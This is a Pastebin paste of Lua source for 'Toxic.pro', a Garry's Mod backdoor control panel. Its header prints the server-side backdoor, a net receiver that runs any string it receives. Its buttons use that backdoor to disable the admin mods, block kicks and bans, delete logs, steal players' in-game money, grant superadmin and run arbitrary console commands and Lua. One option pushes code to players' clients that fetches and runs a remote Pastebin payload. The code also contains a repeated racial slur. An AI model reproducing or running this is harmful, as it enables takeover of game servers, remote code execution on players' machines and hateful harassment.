Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Toxic.pro
- Commissioned by 0xymoron and Michael Conway for ToxicRiver
- Start Date: December 27th, 2017.
- First revision finished December 28th, 2017 @ 3:28AM.
- */
- /*
- util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunString( str ) end )
- */
- local toxic = {}
- toxic.Net = "idk" -- backdoored net message
- toxic.Version = "1.1"
- /*
- Backend functions
- */
- function toxic.PostLua( str )
- net.Start( toxic.Net )
- net.WriteString( str )
- net.SendToServer()
- end
- function toxic.Notify( msg )
- chat.AddText( Color( 255, 0, 0 ), "[Toxic.pro] ", color_white, msg )
- end
- /*
- user interface
- */
- function toxic.AddButton( name, parent, func )
- local button = parent:Add( "DButton" )
- button:SetText( "" )
- button:Dock( TOP )
- button:DockMargin( 0, 0, 0, 5 )
- button:SetSize( 100, 25 )
- button.DoClick = func
- button.Paint = function( self )
- draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 0, 0, 0, 200 ) )
- draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 )
- end
- toxic.ButtonPos = toxic.ButtonPos + 30
- end
- function toxic.UI()
- toxic.ButtonPos = 30
- local frame = vgui.Create( "DFrame" )
- frame:SetTitle( "Toxic.pro Version " .. toxic.Version .. " | by 0xymoron" )
- frame:SetSize( 550, 250 )
- frame:Center()
- frame:MakePopup()
- frame:ShowCloseButton( false )
- frame.Paint = function( self )
- draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) )
- draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
- end
- local close = vgui.Create( "DButton", frame )
- close:SetSize( 50, 20 )
- close:SetPos( frame:GetWide() - 50, 0 )
- close:SetText( "x" )
- close:SetTextColor( Color( 255, 255, 255 ) )
- close:SetFont( "DebugFixed" )
- close.Paint = function()
- draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
- end
- close.DoClick = function()
- frame:Close()
- end
- local panel = vgui.Create( "DScrollPanel", frame )
- panel:SetPos( 5, 30 )
- panel:SetSize( 150, frame:GetTall() - 35 )
- local html = vgui.Create( "HTML", frame )
- html:SetPos( panel:GetWide() + 20, 30 )
- html:SetSize( 240, 215 )
- html:SetHTML( [[
- <img src="http://www.clker.com/cliparts/c/e/8/f/12387015421849960016GameFreak7744_Biohazard_symbol.svg.med.png" alt="Img" style="width:200px;height:195px;">
- ]] )
- /**************************************
- Player Management
- ***************************************/
- local dlist = vgui.Create( "DListView", frame )
- dlist:SetSize( 140, frame:GetTall() - 35 )
- dlist:SetPos( frame:GetWide() - dlist:GetWide() - 5, 30 )
- dlist:SetMultiSelect( false )
- dlist:AddColumn( "Players" )
- for k, v in next, player.GetAll() do
- dlist:AddLine( v:Nick() )
- end
- dlist.OnClickLine = function( parent, line, self )
- for k, v in next, player.GetAll() do
- if v:Nick() == line:GetValue( 1 ) then
- dlist.SelectedEntity = v
- else
- continue
- end
- end
- end
- dlist.OnRowRightClick = function( parent, line, isselected )
- surface.PlaySound( "buttons/button9.wav" )
- local id = dlist.SelectedEntity:UserID()
- local target = Player( id )
- local options = DermaMenu()
- options:AddOption( "Kick", function()
- toxic.PostLua( [[
- Player( ]] .. id .. [[ ):Kick()
- ]] )
- toxic.Notify( "Kicked " .. target:Nick() )
- if dlist then
- dlist:RemoveLine( line )
- end
- end ):SetImage( "icon16/door_out.png" )
- options:AddOption( "Silent Slay", function()
- toxic.PostLua( [[
- Player( ]] .. id .. [[ ):KillSilent()
- ]] )
- toxic.Notify( "Silently slayed " .. target:Nick() )
- end ):SetImage( "icon16/lightning.png" )
- options:AddOption( "Freeze", function()
- toxic.PostLua( [[
- local ply = Player( ]] .. id .. [[ )
- ply:Freeze( !ply:IsFrozen() )
- ]] )
- if !target:IsFrozen() then
- toxic.Notify( "Froze " .. target:Nick() )
- else
- toxic.Notify( "Unfroze " .. target:Nick() )
- end
- end ):SetImage( "icon16/tux.png" )
- options:AddOption( "Give Weapon", function()
- Derma_StringRequest( "Give " .. target:Nick() .. " a weapon", "What weapon? (example: weapon_ak47)", "", function( text )
- toxic.PostLua( [[
- local str = "]] .. text .. [["
- Player( ]] .. id .. [[ ):Give( str )
- ]] )
- toxic.Notify( "Gave " .. target:Nick() .. " a " .. text )
- end )
- end ):SetImage( "icon16/bomb.png" )
- options:AddOption( "Give Money", function()
- Derma_StringRequest( "Give " .. target:Nick() .. " money", "How much?", "", function( text )
- if !isnumber( tonumber( text ) ) then return end
- toxic.PostLua( [[
- local str = "]] .. text .. [["
- str = tonumber( str )
- Player( ]] .. id .. [[ ):addMoney( str )
- ]] )
- toxic.Notify( "Gave " .. target:Nick() .. " $" .. string.Comma( text ) )
- end )
- end ):SetImage( "icon16/money_add.png" )
- options:AddOption( "Inject Toxic.pro", function()
- toxic.PostLua( [[
- Player(]] .. id .. [[):SendLua('http.Fetch("https://pastebin.com/raw/ErUr3wtq",function(body) RunString(body) surface.PlaySound("vo/npc/male01/herecomehacks0"..math.random(1,2)..".wav") chat.AddText(Color(255,0,0),"[Toxic.pro] ",color_white,"Welcome, run `toxic.pro` in console") end)')
- ]] )
- toxic.Notify( "Injected Toxic.pro into " .. target:Nick() .. "'s client." )
- end ):SetImage( "icon16/bug_add.png" )
- options:Open()
- end
- /**************************************
- Buttons
- ***************************************/
- toxic.AddButton( "Break ULX", panel, function()
- toxic.PostLua( [[ _G.ulx = function() end _G.ULib = function() end ]])
- toxic.Notify( "Broke ULX, admins now have no control." )
- end )
- toxic.AddButton( "Break FAdmin", panel, function()
- toxic.PostLua( [[
- _G.FAdmin = function() end
- ]] )
- toxic.Notify( "Killed FAdmin" )
- end )
- toxic.AddButton( "Wipe Logs", panel, function()
- local date = os.date( "%m-%d-%y" )
- toxic.PostLua( [[
- file.Delete( "ulx_logs/]] .. date .. [[.txt" )
- ]] )
- toxic.Notify( "Deleted data/ulx_logs/" .. date .. ".txt" )
- end )
- toxic.AddButton( "No Kick/Ban", panel, function()
- toxic.PostLua( [[
- _R = debug.getregistry()
- function game.KickID( id, reason )
- return
- end
- function _R.Player.Ban()
- return
- end
- function _R.Player.Kick()
- return
- end
- ]] )
- toxic.Notify( "Nulled _R.Player.Ban & _R.Player.Kick" )
- end )
- toxic.AddButton( "Disable !cake", panel, function()
- toxic.PostLua( [[ _G.cac = function() end]] )
- toxic.Notify( "Attempted to disable !cake's anti-cheat, probably failed." )
- end )
- toxic.AddButton( "Steal Money", panel, function()
- toxic.PostLua( [[
- local id = ]] .. LocalPlayer():UserID() .. [[
- for k, v in next, player.GetAll() do
- if v:Nick() == "]] .. LocalPlayer():Nick() .. [[" then
- continue
- end
- local bal = v:getDarkRPVar( "money" ) or 9999999
- v:addMoney( -bal )
- Player( id ):addMoney( bal )
- Player( id ):ChatPrint( "[Toxic.pro] Stole $" .. string.Comma( bal ) .. " from " .. v:Nick() )
- end
- ]] )
- end )
- toxic.AddButton( "Wipe All Money", panel, function()
- toxic.PostLua( [[RunConsoleCommand( "rp_resetallmoney" )]] )
- toxic.Notify( "Wiped DarkRP money database" )
- end )
- toxic.AddButton( "Change All Names", panel, function()
- Derma_StringRequest( "Name Changer", "What would you like to name everyone?", "", function( text )
- toxic.PostLua( [[
- local str = "]] .. text .. [["
- for k, v in next, player.GetAll() do
- DarkRP.storeRPName( v, str )
- v:setDarkRPVar( "rpname", str )
- end
- ]] )
- toxic.Notify( "Renamed everyone to '" .. text .. "'" )
- end )
- end )
- toxic.AddButton( "Visual Rape", panel, function()
- -- I don't like this.
- toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://snixzz.net/rape.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
- -- I don't like any of this.
- -- THIS IS BROKEN
- -- toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( 'https://pastebin.com/raw/bNDu1T0n', function( body ) RunString( body ) end )]] ) end" )
- end )
- toxic.AddButton( "Earthquake", panel, function()
- toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
- toxic.Notify( "Earthquake started." )
- end )
- toxic.AddButton( "Horse", panel, function()
- toxic.PostLua( [[
- local id = ]] .. LocalPlayer():UserID() .. [[
- Player( id ):SetModel( "models/props_c17/statue_horse.mdl" )
- Player( id ):SetMaterial( "models/debug/debugwhite" )
- hook.Add( "Think", "horse", function()
- if !IsValid( Player( id ) ) then return end
- Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
- end )
- ]] )
- end )
- toxic.AddButton( "Footsteps", panel, function()
- toxic.PostLua( [[
- hook.Add( "PlayerFootstep", "oooh", function( ply )
- ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
- end )
- ]] )
- toxic.Notify( "Enabled moaning footsteps." )
- end )
- toxic.AddButton( "Spam .txt", panel, function()
- Derma_StringRequest( ".txt file contents", "What would you like to put in the .txt?", "", function( text )
- toxic.PostLua( [[
- for i = 1, 100 do
- file.Write( "toxic.pro_" .. math.random( 1, 999999 ) .. ".txt", "]] .. text .. [[" )
- end
- ]] )
- toxic.Notify( "Spamming 100 .txt files containing '" .. text .. "'" )
- end )
- end )
- toxic.AddButton( "Spam Chat", panel, function()
- Derma_StringRequest( "Message", "Chat Message", "", function( text )
- toxic.PostLua( [[
- util.AddNetworkString("chat_AddText")
- chat = {}
- function chat.AddText(...)
- net.Start("chat_AddText")
- net.WriteTable({...})
- net.Broadcast()
- end
- function AddTextPly( ply, ...)
- net.Start("chat_AddText")
- net.WriteTable({...})
- net.Send( ply )
- end
- for k, v in pairs( player.GetAll() ) do
- v:SendLua( 'net.Receive("chat_AddText", function(len) chat.AddText( unpack( net.ReadTable() ) )end)' )
- end
- timer.Create( "gotEm", 1, 120, function()
- local function ChatPrintRainbow( frequency, str )
- local text = {}
- for i = 1, #str do
- table.insert( text, HSVToColor( i * frequency % 360, 1, 1 ) )
- table.insert( text, string.sub( str, i, i ) )
- end
- chat.AddText( unpack( text ) )
- end
- ChatPrintRainbow( 10, "]] .. text .. [[" )
- end )
- ]] )
- end )
- end )
- toxic.AddButton( "Give Superadmin", panel, function()
- toxic.PostLua( [[
- local id = ]] .. LocalPlayer():UserID() .. [[
- RunConsoleCommand( 'ulx', 'adduser', tostring( Player( id ):Nick() ), 'superadmin' )
- Player( id ):SetUserGroup( "superadmin" )
- ]] )
- toxic.Notify( "Attempted to force superadmin." )
- end )
- toxic.AddButton( "RCON", panel, function()
- Derma_StringRequest( "Toxic.pro RCON", "Command", "", function( text )
- toxic.PostLua( [[game.ConsoleCommand( "]] .. tostring( text ) .. [[" .. "\n" )]] )
- toxic.Notify( "Ran command '" .. text .. "'" )
- end )
- end )
- toxic.AddButton( "Lua Run", panel, function()
- Derma_StringRequest( "Toxic.pro Lua Run", "Lua String", "", function( text )
- toxic.PostLua( [[RunString( ']] .. text .. [[' )]] )
- toxic.Notify( "Ran Lua '" .. text .. "'" )
- end )
- end )
- toxic.AddButton( "Rename Server", panel, function()
- toxic.PostLua( [[RunConsoleCommand( "hostname", "NIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGER" )]] )
- toxic.Notify( "Renamed server to NIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGERNIGGER" )
- end )
- end
- concommand.Add( "toxic.pro", toxic.UI )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement